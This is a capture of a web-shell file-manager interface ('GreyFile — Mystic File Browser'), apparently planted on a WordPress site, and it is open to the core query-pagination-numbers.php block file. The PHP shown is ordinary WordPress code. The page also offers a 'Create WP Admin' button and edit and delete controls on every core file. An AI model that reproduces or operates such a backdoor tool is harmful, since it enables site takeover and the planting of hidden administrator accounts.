?? GreyFile — Mystic File Browser
Current path:
home
/
webdevt
/
www
/
wdp
/
wp-includes
/
blocks
/
?? Create WP Admin
??
Go up: /home/webdevt/www/wdp/wp-includes
?? Editing: query-pagination-numbers.php
<?php /** * Server-side rendering of the `core/query-pagination-numbers` block. * * @package WordPress */ /** * Renders the `core/query-pagination-numbers` block on the server. * * @since 5.8.0 * * @global WP_Query $wp_query WordPress Query object. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the pagination numbers for the Query. */ function render_block_core_query_pagination_numbers( $attributes, $content, $block ) { $page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $enhanced_pagination = isset( $block->context['enhancedPagination'] ) && $block->context['enhancedPagination']; $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; $max_page = isset( $block->context['query']['pages'] ) ? (int) $block->context['query']['pages'] : 0; $wrapper_attributes = get_block_wrapper_attributes(); $content = ''; global $wp_query; $mid_size = isset( $block->attributes['midSize'] ) ? (int) $block->attributes['midSize'] : null; if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) { // Take into account if we have set a bigger `max page` // than what the query has. $total = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page; $paginate_args = array( 'prev_next' => false, 'total' => $total, ); if ( null !== $mid_size ) { $paginate_args['mid_size'] = $mid_size; } $content = paginate_links( $paginate_args ); } else { $block_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) ); // `paginate_links` works with the global $wp_query, so we have to // temporarily switch it with our custom query. $prev_wp_query = $wp_query; $wp_query = $block_query; $total = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page; $paginate_args = array( 'base' => '%_%', 'format' => "?$page_key=%#%", 'current' => max( 1, $page ), 'total' => $total, 'prev_next' => false, ); if ( null !== $mid_size ) { $paginate_args['mid_size'] = $mid_size; } if ( 1 !== $page ) { /** * `paginate_links` doesn't use the provided `format` when the page is `1`. * This is great for the main query as it removes the extra query params * making the URL shorter, but in the case of multiple custom queries is * problematic. It results in returning an empty link which ends up with * a link to the current page. * * A way to address this is to add a `fake` query arg with no value that * is the same for all custom queries. This way the link is not empty and * preserves all the other existent query args. * * @see https://developer.wordpress.org/reference/functions/paginate_links/ * * The proper fix of this should be in core. Track Ticket: * @see https://core.trac.wordpress.org/ticket/53868 * * TODO: After two WP versions (starting from the WP version the core patch landed), * we should remove this and call `paginate_links` with the proper new arg. */ $paginate_args['add_args'] = array( 'cst' => '' ); } // We still need to preserve `paged` query param if exists, as is used // for Queries that inherit from global context. $paged = empty( $_GET['paged'] ) ? null : (int) $_GET['paged']; if ( $paged ) { $paginate_args['add_args'] = array( 'paged' => $paged ); } $content = paginate_links( $paginate_args ); wp_reset_postdata(); // Restore original Post Data. $wp_query = $prev_wp_query; } if ( empty( $content ) ) { return ''; } if ( $enhanced_pagination ) { $p = new WP_HTML_Tag_Processor( $content ); $tag_index = 0; while ( $p->next_tag( array( 'class_name' => 'page-numbers' ) ) ) { if ( null === $p->get_attribute( 'data-wp-key' ) ) { $p->set_attribute( 'data-wp-key', 'index-' . $tag_index++ ); } if ( 'A' === $p->get_tag() ) { $p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' ); } } $content = $p->get_updated_html(); } return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content ); } /** * Registers the `core/query-pagination-numbers` block on the server. * * @since 5.8.0 */ function register_block_core_query_pagination_numbers() { register_block_type_from_metadata( __DIR__ . '/query-pagination-numbers', array( 'render_callback' => 'render_block_core_query_pagination_numbers', ) ); } add_action( 'init', 'register_block_core_query_pagination_numbers' );
Save
Upload
??
Create Folder
??
Create File
??
archives
|
??? Delete
??
audio
|
??? Delete
??
avatar
|
??? Delete
??
block
|
??? Delete
??
button
|
??? Delete
??
buttons
|
??? Delete
??
calendar
|
??? Delete
??
categories
|
??? Delete
??
code
|
??? Delete
??
column
|
??? Delete
??
columns
|
??? Delete
??
comment-author-name
|
??? Delete
??
comment-content
|
??? Delete
??
comment-date
|
??? Delete
??
comment-edit-link
|
??? Delete
??
comment-reply-link
|
??? Delete
??
comment-template
|
??? Delete
??
comments
|
??? Delete
??
comments-pagination
|
??? Delete
??
comments-pagination-next
|
??? Delete
??
comments-pagination-numbers
|
??? Delete
??
comments-pagination-previous
|
??? Delete
??
comments-title
|
??? Delete
??
cover
|
??? Delete
??
details
|
??? Delete
??
embed
|
??? Delete
??
file
|
??? Delete
??
footnotes
|
??? Delete
??
freeform
|
??? Delete
??
gallery
|
??? Delete
??
group
|
??? Delete
??
heading
|
??? Delete
??
home-link
|
??? Delete
??
html
|
??? Delete
??
image
|
??? Delete
??
latest-comments
|
??? Delete
??
latest-posts
|
??? Delete
??
legacy-widget
|
??? Delete
??
list
|
??? Delete
??
list-item
|
??? Delete
??
loginout
|
??? Delete
??
media-text
|
??? Delete
??
missing
|
??? Delete
??
more
|
??? Delete
??
navigation
|
??? Delete
??
navigation-link
|
??? Delete
??
navigation-submenu
|
??? Delete
??
nextpage
|
??? Delete
??
page-list
|
??? Delete
??
page-list-item
|
??? Delete
??
paragraph
|
??? Delete
??
pattern
|
??? Delete
??
post-author
|
??? Delete
??
post-author-biography
|
??? Delete
??
post-author-name
|
??? Delete
??
post-comments-form
|
??? Delete
??
post-content
|
??? Delete
??
post-date
|
??? Delete
??
post-excerpt
|
??? Delete
??
post-featured-image
|
??? Delete
??
post-navigation-link
|
??? Delete
??
post-template
|
??? Delete
??
post-terms
|
??? Delete
??
post-title
|
??? Delete
??
preformatted
|
??? Delete
??
pullquote
|
??? Delete
??
query
|
??? Delete
??
query-no-results
|
??? Delete
??
query-pagination
|
??? Delete
??
query-pagination-next
|
??? Delete
??
query-pagination-numbers
|
??? Delete
??
query-pagination-previous
|
??? Delete
??
query-title
|
??? Delete
??
query-total
|
??? Delete
??
quote
|
??? Delete
??
read-more
|
??? Delete
??
rss
|
??? Delete
??
search
|
??? Delete
??
separator
|
??? Delete
??
shortcode
|
??? Delete
??
site-logo
|
??? Delete
??
site-tagline
|
??? Delete
??
site-title
|
??? Delete
??
social-link
|
??? Delete
??
social-links
|
??? Delete
??
spacer
|
??? Delete
??
table
|
??? Delete
??
tag-cloud
|
??? Delete
??
template-part
|
??? Delete
??
term-description
|
??? Delete
??
text-columns
|
??? Delete
??
verse
|
??? Delete
??
video
|
??? Delete
??
widget-group
|
??? Delete
??
.DS_Store
|
?? Edit
|
??? Delete
??
archives.php
|
?? Edit
|
??? Delete
??
avatar.php
|
?? Edit
|
??? Delete
??
block.php
|
?? Edit
|
??? Delete
??
blocks-json.php
|
?? Edit
|
??? Delete
??
button.php
|
?? Edit
|
??? Delete
??
calendar.php
|
?? Edit
|
??? Delete
??
categories.php
|
?? Edit
|
??? Delete
??
comment-author-name.php
|
?? Edit
|
??? Delete
??
comment-content.php
|
?? Edit
|
??? Delete
??
comment-date.php
|
?? Edit
|
??? Delete
??
comment-edit-link.php
|
?? Edit
|
??? Delete
??
comment-reply-link.php
|
?? Edit
|
??? Delete
??
comment-template.php
|
?? Edit
|
??? Delete
??
comments-pagination-next.php
|
?? Edit
|
??? Delete
??
comments-pagination-numbers.php
|
?? Edit
|
??? Delete
??
comments-pagination-previous.php
|
?? Edit
|
??? Delete
??
comments-pagination.php
|
?? Edit
|
??? Delete
??
comments.php
|
?? Edit
|
??? Delete
??
cover.php
|
?? Edit
|
??? Delete
??
file.php
|
?? Edit
|
??? Delete
??
footnotes.php
|
?? Edit
|
??? Delete
??
gallery.php
|
?? Edit
|
??? Delete
??
heading.php
|
?? Edit
|
??? Delete
??
home-link.php
|
?? Edit
|
??? Delete
??
image.php
|
?? Edit
|
??? Delete
??
index.php
|
?? Edit
|
??? Delete
??
latest-comments.php
|
?? Edit
|
??? Delete
??
latest-posts.php
|
?? Edit
|
??? Delete
??
legacy-widget.php
|
?? Edit
|
??? Delete
??
list.php
|
?? Edit
|
??? Delete
??
loginout.php
|
?? Edit
|
??? Delete
??
media-text.php
|
?? Edit
|
??? Delete
??
navigation-link.php
|
?? Edit
|
??? Delete
??
navigation-submenu.php
|
?? Edit
|
??? Delete
??
navigation.php
|
?? Edit
|
??? Delete
??
page-list-item.php
|
?? Edit
|
??? Delete
??
page-list.php
|
?? Edit
|
??? Delete
??
pattern.php
|
?? Edit
|
??? Delete
??
post-author-biography.php
|
?? Edit
|
??? Delete
??
post-author-name.php
|
?? Edit
|
??? Delete
??
post-author.php
|
?? Edit
|
??? Delete
??
post-comments-form.php
|
?? Edit
|
??? Delete
??
post-content.php
|
?? Edit
|
??? Delete
??
post-date.php
|
?? Edit
|
??? Delete
??
post-excerpt.php
|
?? Edit
|
??? Delete
??
post-featured-image.php
|
?? Edit
|
??? Delete
??
post-navigation-link.php
|
?? Edit
|
??? Delete
??
post-template.php
|
?? Edit
|
??? Delete
??
post-terms.php
|
?? Edit
|
??? Delete
??
post-title.php
|
?? Edit
|
??? Delete
??
query-no-results.php
|
?? Edit
|
??? Delete
??
query-pagination-next.php
|
?? Edit
|
??? Delete
??
query-pagination-numbers.php
|
?? Edit
|
??? Delete
??
query-pagination-previous.php
|
?? Edit
|
??? Delete
??
query-pagination.php
|
?? Edit
|
??? Delete
??
query-title.php
|
?? Edit
|
??? Delete
??
query-total.php
|
?? Edit
|
??? Delete
??
query.php
|
?? Edit
|
??? Delete
??
read-more.php
|
?? Edit
|
??? Delete
??
require-dynamic-blocks.php
|
?? Edit
|
??? Delete
??
require-static-blocks.php
|
?? Edit
|
??? Delete
??
search.php
|
?? Edit
|
??? Delete
??
shortcode.php
|
?? Edit
|
??? Delete
??
site-logo.php
|
?? Edit
|
??? Delete
??
site-tagline.php
|
?? Edit
|
??? Delete
??
site-title.php
|
?? Edit
|
??? Delete
??
social-link.php
|
?? Edit
|
??? Delete
??
tag-cloud.php
|
?? Edit
|
??? Delete
??
template-part.php
|
?? Edit
|
??? Delete
??
term-description.php
|
?? Edit
|
??? Delete
??
widget-group.php
|
?? Edit
|
??? Delete